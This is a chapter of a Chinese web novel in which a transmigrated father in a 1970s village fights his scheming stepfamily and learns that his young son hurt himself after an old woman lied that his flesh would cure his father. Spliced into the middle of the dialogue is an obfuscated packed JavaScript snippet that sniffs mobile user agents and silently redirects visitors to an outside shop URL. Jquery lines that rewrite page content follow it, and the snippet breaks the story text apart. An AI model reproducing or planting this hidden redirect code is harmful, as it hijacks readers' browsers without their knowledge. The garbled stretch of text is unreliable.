一切思绪在电石火花间,在莫开的脑海中闪了过去。
莫开的神色没有任何纰漏,他的表情几乎完美,一边镇定地从谢成缺的怀里起来,一边从眼稍眉角流露出惊讶、尴尬和抓住救命稻草般的惊喜。
“太好了,谢成缺,你也是黄华村的,你快帮我告诉大家,我才是莫开,那个人是庄华兴啊!”
莫开一把抓住了谢成缺的胳膊。
微微粗糙的指腹突然紧紧贴在自己的皮肤上,灼烫火热,明明干了那么多农活,修长手指还那么白皙,和自己的麦色皮肤形成了无比鲜明的对比。
谢成缺的肌肉不受控制地紧紧绷起,脑海里莫名闪烁起两个时辰前,眼神迷蒙的莫开躺在床上,紧紧抱住自己的肩背,喟叹着说好舒服的场景......
“!”谢成缺心脏猛地跳动。
脸色却骤然黑了下来。
“谢成缺,你说话啊!”莫开还在沉浸式演戏,根本没有发现谢成缺的不对劲,眼睛通红,“现在大家都在,你快告诉大家,我才是莫开啊。”
谢成缺还在走神。
他的视线在莫开那过分旖旎漂亮的眼尾掠过,又飞快挪开。
一个大男人,长这么漂亮的眼睛干什么,是想勾搭谁?!
而且男人的眼睫毛怎么能这么长,这么翘,好像穗子上的芒针似的,扎得他心尖怪难受。
谢成缺从来没有过这种感觉,他强行将这一切归咎为嫌弃。
对,嫌弃莫开这个漂亮得压根不像个男人的男人!
“你再大喊大叫,我们就真的把你抓进牢子里了!”那两个站警拿着棍子再次赶了过来,气势汹汹。
但在看到谢成缺脸的瞬间,突然没了脾气。
两人一愣,眸底带了点笑意:“哎,这不是谢小同志么?!你认识这个傻子?”
“他不是傻子。”面前突然出现两张皱巴巴的老男人脸,谢成缺一下子就回过了神。
状态也一秒切换。
“张叔,孙叔,真巧,今天是你们值班?”
“对啊,今天忙死了,还摊上个傻子,这是你们村的?!”
“他真不是傻子,刚刚你们是有什么误会吧。”
“什、什么?!他不是傻子?可刚刚那个省城里来的同志说......”
“他也的确叫莫开。”谢成缺说罢,也没再多解释什么,一把抓住莫开的胳膊,“改天再来请张叔你们喝酒啊,今天有点急事。”
他转身快步走了出去。
莫开被拖得不得不跟着走。
“你扯我干什么,庄华兴顶替我!我要进去找他!!!”
“你这样闹一点用没有。”谢成缺声音冷淡。
一出了火车站,他就把莫开的胳膊甩开了。
莫开刚刚“不得不跟着走”的样子都是演出来的,因为演到刚刚那个程度,他已经很满意了。
事情的火不能闹太大,也不能解决得过分快,否则那边还来不及顶替他就被揭发了,他那个后爹又可以甩锅狡辩了。
但是——
谢成缺这无比嫌弃他的态度是干嘛?!
大爷的。
他他,他......
他能屈能伸!
“庄华兴顶替你回城,这事儿你之前不是同意么?”谢成缺眸底沉沉,看不出什么情绪。
莫开一怔:“你怎么知道这事儿?!”
冒名顶替回城这可是大事,一旦闹大了,后果很多人承担不起,所以这些事情明明都是秘密进行的。
除了庄家人和他,黄华村应该没有别人知道。
“你不用管我怎么知道,这事儿你同意了,倒是的确像个真傻子。”
莫开:“......”
“但你现在,倒是有了点正常人的样子。”谢成缺表情冷淡,“否则我还真怕我的钱都打了水漂。”
“什么?”莫开没听明白。
谢成缺的钱和他有什么关系?!
十五分钟后。
在公社卫生所苦苦哀求退钱的莫开知道了啥关系了。
“我们没打针啊,这个药没有用啊,为什么不能退?”
“卫生所就这个规定,而且你今天必须打,你这孩子怎么不听话呢,你刚刚居然还偷跑了出去......你这,你这么不把你自己身体当回事儿!怪不得烧得这么严重!”
“医生,叔......大爷!”
“喊什么都没用,你现在还烧着呢,快点,去里屋把裤子脱了,我给你打针。”
......
两分钟后。
莫开嗷嗷叫的声音响彻了整个卫生所。
他本来就怕疼,现在发烧烧得皮肤更敏感了,简直痛、彻、心、扉!
宋玉丰转头对陈康说:“莫开声音可真大啊。”
陈康:“没看出来他一个大男人,居然这么怕疼。”
莫开刚好从里屋走出来,咬牙,眼泪还没干掉的漂亮眼眶红通通的:“大男人怎么了,不能怕疼么?”
“呵。”门口的谢成缺突然冷哼一声。
莫开更气了,但他脑子紧急上线,把下意识就要脱口而出的话通通咽了下去。
妈的,他不能得罪这个大反派,他忍。
谢成缺却有点意外莫开没有反应。
他看向莫开,只觉得莫开一双漂亮清澈的杏眼红通通,湿漉漉,就像他小时候养过的兔子。
呵,会咬人的兔子。
“对了,之前在知青宿舍里......是误会,我烧糊涂了,你别放在心上。”莫开突然道。
他还是觉得尽快解释比较好。
谢成缺却脸色更黑了。
他漆黑的眸子定定地看着莫开,突然又冷笑了一声:“呵。”
转身就走了出去。
莫开被这一声冷笑笑得莫名其妙,心道这个大反派果然变态,完全看不出任何情绪的规律啊!
怎么回事,怎么又突然冷笑啊!
他不会是不信吧,不会等到十几年后,突然要清算他这个“爬.床”对象吧?!
莫开越想越麻,咬着牙追了出去:“真的都是误会,谢成缺,真的!你相信我——”
可惜谢成缺走得比神州五号还快,很快就看不见了。
宋玉丰和陈康也跟了出来:“莫开,你现在说都是误会,他肯定不信啊,你勾搭他妹妹的事情,全村都知道,不过谢成缺好像也没有传言那么没人性诶,他没先打死你,还花钱给你打针。”
“什么?!”莫开简直不敢相信自己的耳朵,瞳孔地震,“你说什么?!!”
“他付钱给你打针啊,你不是知道吗?”
“我说前面那句——”
“哦,你说你勾搭他妹妹啊?!”
轰——
莫开仿佛听到了被雷劈的声音。
完了。
彻底完了。
原身从来没有勾搭过谢成缺的妹妹,但这不重要,重要的是,这么多误会叠加在一起......
哈哈。
他怎么感觉他可能真的要死了呢。
**
莫开生无可恋地回到黄华村时,天已经有点擦黑了。
还没到村口,一个小小的、极其瘦弱的小身影就出现在了他的视野里,和旁边的女知青的大腿一般高,背着大大的小背篓,脑袋被细细的脖颈支楞着,仿佛夸张的火柴头,看得人心惊又心疼。
那大脑袋拼命地往远方看着。
莫开的眼睛一下子就热了。
“瓜瓜。”
“爸爸!!!”
几乎是同时的,两道声音响起。
小小的孩童眼睛骤然亮起,一下子被泪水腌得红了个透。
他拼了命地往莫开的方向跑来,没有发现路上突然出现的一枚小石子儿,脚下踉跄了一下,身体控制不住地狠狠向前摔去——
“啊!”
莫瓜瓜身体狠狠摔在了地上,还秃噜飞了一两米。
莫开的心一下子就揪紧了。
“瓜瓜!”
莫开飞快往前跑,莫瓜瓜身后的女知青也连忙往瓜瓜那儿跑。
小小一只的莫瓜瓜自己咬着牙,缓缓地,用小手撑着地面,从地上爬了起来。
他疼得浑身颤抖,控制不住涌出来的眼泪包在大大的眼眶里,但硬是一滴眼泪没掉出来。
好疼。
但是他不能哭,爸爸会担心的。
“爸......爸爸。”
莫瓜瓜颤抖着小腿,继续往莫开那里走,小小的膝盖几乎蹭掉了两块薄薄的肉,鲜血不断地流,甚至滑到了细细的小腿肚子上。
“瓜瓜!!”莫开的心要疼坏了。
他一下子抱住了莫瓜瓜。
“怎么摔这么厉害?!疼不疼?是不是很疼?!”
“爸爸,不痛,不痛的......”莫瓜瓜小小的胳膊拼命抱着莫开的腰,脑袋使劲埋在莫开的怀里,眼泪却终于再也忍不住,哗啦涌了出来。
但不是因为疼痛,而是因为恐惧和欢喜。
“爸爸你......你回来了!爸爸你没事儿了吧,爸爸你的病好了对不对,呜呜爸爸。”
他还以为,他再也见不到爸爸了。
村口的那些老奶奶都说,爸爸要死了。
呜呜......爸爸才不会死的,爸爸不会丢下他的!
“爸爸你再也不会有事了是不是,爸爸,瓜瓜想你,爸爸......不要丢下瓜瓜,瓜瓜会很乖,会很乖很乖!!!”
“不会的,爸爸不会丢下瓜瓜。”
莫开眼睛也控制不住地红了。
他心口酸得厉害,使劲喘了口气,才呼吸上来。
瓜瓜极其瘦小轻弱的身板在自己怀里颤抖,小得仿佛一只小狗。
只要一想到这样乖巧的瓜瓜在原本的剧情里要经受什么,莫开的心就一抽一抽地疼。
“白书月同志,你那有没有多余的布头,能不能借我两条。”莫开看向走过来的那个女知青。
“我正好现在身上就有。”白书月扎着两个粗粗的长辫子,穿着军绿色的外套,皮肤偏白,带着一股说不上来的书香气。
她从兜里掏出两个布条:“本来是准备做头花的,你先给瓜瓜包扎上吧,食堂的饭快打完了,你们得赶紧了。”
“好,谢谢。”莫开感激地接了过来,“谢谢你提醒。”
“不用。”白书月表情有点迟疑,似乎是想说些什么。
“白书月同志,是还有什么事儿么?”
“我......莫开同志,瓜瓜今天对我说......”白书月皱起眉头。
“说什么?”
“说....
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359727|199738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
..”白书月左右看了一眼,一副很谨慎很为难的样子,“说......他听庄老太说,只要吃了他的肉,喝了他的血,你的病就能立刻好,我在院子看到的时候,发现瓜瓜正在拿尖尖的小石头一下一下地......”
白书月简直不忍心说下去。
“砸自己的胳膊。”
莫开眼神一下子变了,猛地撸起瓜瓜的袖子,霍然在左胳膊上看到了个还没有完全愈合的伤口。
伤口的肉烂烂的,很不规则,一看就是被一点点捣烂的。
“!!!”
莫开瞳孔紧缩,心一下子疼得无以复加。
极其酸涩疼痛的情绪裹挟着恨意排山倒海地袭来,让他视线都有点看不清了。
他不敢想,这么小的孩子,到底是......
是用怎么样的情绪和爱,才能用石头一点点,砸烂自己的肉。
更不敢想,那个庄老太到底是怀着怎样的恶意对瓜瓜说这样的话!!!
“爸爸,不要看,爸爸......”莫瓜瓜瑟缩着想抽回胳膊。
“还是因为我说这样不能治好你的病,而且可能会连累到你,这孩子才停手,不然我都怕他会偷偷地继续这么......”
白书月眼睛也有点红。
她还没见过这么孝顺的娃娃,怪难受的。
万一莫开今天真的没醒来,这孩子......
“爸爸,我......”瓜瓜眼神闪躲,不敢看莫开,“我错了。”
他不该砸烂自己的胳膊的,白阿姨说了,这样会让爸爸病的更重的,他不想爸爸病的更重!
他不想。
是庄奶奶在骗他。
他是笨蛋!他差点就害了爸爸!!!
莫开一下子抱紧了莫瓜瓜,眼泪从眼角缓缓渗落,但什么都没说。
过了会儿,他抱起莫瓜瓜。
“走吧,瓜瓜,爸爸带你去洗一下再包扎,好不好?”
“不要,爸爸,我、我可以自己肘。”小瓜瓜好留恋爸爸的怀抱,但还是拼命摇头。
爸爸刚生病,他会压坏爸爸的。
爸爸会累!
一下子就看出来莫瓜瓜在想什么,莫开心口更酸涩了,他红着眼揉了揉莫瓜瓜大大的小脑袋。
“没事,爸爸身体现在好了,可以抱瓜瓜。”
“可、可是......”
“医生还说了,要爸爸以后多抱重物锻炼呢,这样爸爸以后身体会越来越好的,瓜瓜不愿意帮助爸爸锻炼吗?”
“愿、愿意!”瓜瓜急忙点了点脑袋,一下子也不挣扎了。
他要帮爸爸!
莫开笑着抱起了莫瓜瓜,他本来以为对于这具身体来说,会负荷有点重,还特意先吸了口气,却没想到莫瓜瓜轻得离谱。
莫开心口堵得难受,眸底越来越冷。
那群人——
欠他和瓜瓜的太多了。
他一定要,全部、连本带利......连肉带血地讨回来!
**
莫开带着莫瓜瓜先去村口的水井那里洗了伤口,包扎好,才抱着瓜瓜一起去打饭。
父子俩此时都饿得前胸贴后背,肚子一阵阵抽疼,从胃往嗓子眼冒酸水。
莫开刚走进集体食堂,就听到了“砰!”地一声巨响。
一个穿着花衬衫、眯眯眼丑得和庄华兴如出一辙的黑胖姑娘撒气似的,把大锅盖狠狠砸到了锅上。
“没饭了没饭了,说了多少遍了,没饭了还来打,饿死鬼投胎啊?!”
那肿泡眼还意有所指地瞅着刚进门的莫开。
莫开都要气笑了。
他径直走到打饭口,这个年代的打饭口根本没有隔窗,一个个大锅就这么直接放在灶台上。
“说了没饭了,你耳朵聋啊?!”
庄翠翠只要想到一个小时前他爸在供销社接到的电话,就气得恨不得吃莫开的肉。
莫开居然临时反悔,还到火车站大闹,差点害了他哥,也间接毁了她以后嫁到省城里的梦,简直不要脸!!!
她就没见过这么没脸没皮又恶毒的人,居然还好意思来吃饭!
莫开不愧是个二婚女人带来的拖油瓶,就是上不得台面。
莫开根本没和庄翠翠废话,他放下了莫瓜瓜,直接掀开了锅盖。
里面虽然没有什么好菜,但也还剩不少夹杂着菜叶和地瓜块的灰糊糊。
“你干什么?!!”
没想到莫开居然没有像以前那样唯唯诺诺地缩着脖子道歉,甚至还直接掀开了锅盖,庄翠翠先是一愣,随即彻底气炸了!
“你干什么,你要偷社会主义的粮食?!来人啊,莫开要推翻集体主义——”
“来人啊,庄翠翠要抹□□主义和集体主义!我建议集体举报!”莫开突然也开了嗓子,声音比庄翠翠还响还亮。
他微笑着看着庄翠翠。
“我莫开严格依照国家倡导,上山下乡,坚决服从社会意志,服务集体利益,做集体工,吃集体饭,维护集体,坚决不搞个人主义和个人情绪,庄翠翠却违反党的意志,要搞分裂,搞污蔑,扭曲社会主义的优良和优势,抹黑人民公社和集体食堂,大行个人主义,简直——”
莫开字字铿锵。
“简直思想滑坡,落后严重!急需改造,刻不容缓!!!”